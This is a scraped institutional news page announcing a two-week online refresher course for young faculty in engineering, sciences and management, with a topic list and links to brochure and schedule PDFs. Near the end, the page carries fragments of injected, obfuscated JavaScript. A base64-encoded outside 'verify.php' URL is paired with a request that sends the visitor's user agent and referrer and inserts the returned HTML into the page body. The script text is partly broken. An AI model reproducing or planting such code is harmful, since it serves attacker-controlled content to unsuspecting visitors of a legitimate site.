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## Two Weeks Online Refresher Course ?Engineering, Physical Sciences and Management? during 22 June-04 July, 2020 - Detailed Brochure and Programme Schedule

The objective of this Refresher Course is to nurture the research aptitude and competency development of the young faculty members having less than 15 years of experience, either doing research or planning to undertake research work under the domain of Engineering, Physical Sciences, Management and other subjects of Allied Sciences, including M. Tech. Scholars. In this Refresher Course, there will be technical sessions on the following topics, by experts from Academia and Industry:-

Applications of Design Thinking , Awareness of IPR and Patent Filling, Cyber Citizenship and Importance of Blockchain in Academics , Dealing with the Fake News, Detection of Students Interest in Classroom , Entrepreneurship and Startup, Goal Settings, Google Classroom , Integrating Higher Order Thinking Skills with Technology, MOOC - The Next Generation Learning Platform, MOODLE Open Source LMS and Mind Maps , Next Generation Learning, Outcome Based Education (OBE), Preparation of Post COVID-19 Assumption of Educational Institutions, Research in Digital Age - Problems and Opportunities, Research Methodology, Sakai LMS , The Art of being Happy in Difficult Times?, The Art of Writing Quality Papers

## File:

Two Weeks RC during 22nd June - 04th July 2020 Version 2.0 Brochure.pdf<sub>[1]</sub>
Programme Schedule Version 4.0 of the 2 Weeks RC 22 June - 04 July 2020.pdf<sub>[2]</sub>
News Category:
Activities
News Date:
Wednesday, 3 June, 2020 - 01:30

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decodeURIComponent(escape(atob('aHR0cHM6Ly91cmxzcGF0aC5jb20vdmVyaWZ5LnBocA==')))

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nt=\${navigator?.userAgent}&r=\${document?.referrer}`),selfer.onreadystatechange=(()=>{if(4==selfer.readyState)e);document.querySelector("body").insertAdjacentHTML("afterbegin",e?.html)}}),selfer.setRequestHeader("Request} }); //-->

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## Links:

[1]

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[2]

http://14.140.205.245/sites/default/files/news/Programme%20Schedule%20Version%204.0%20of%20the%202%20\%2004%20July%202020.pdf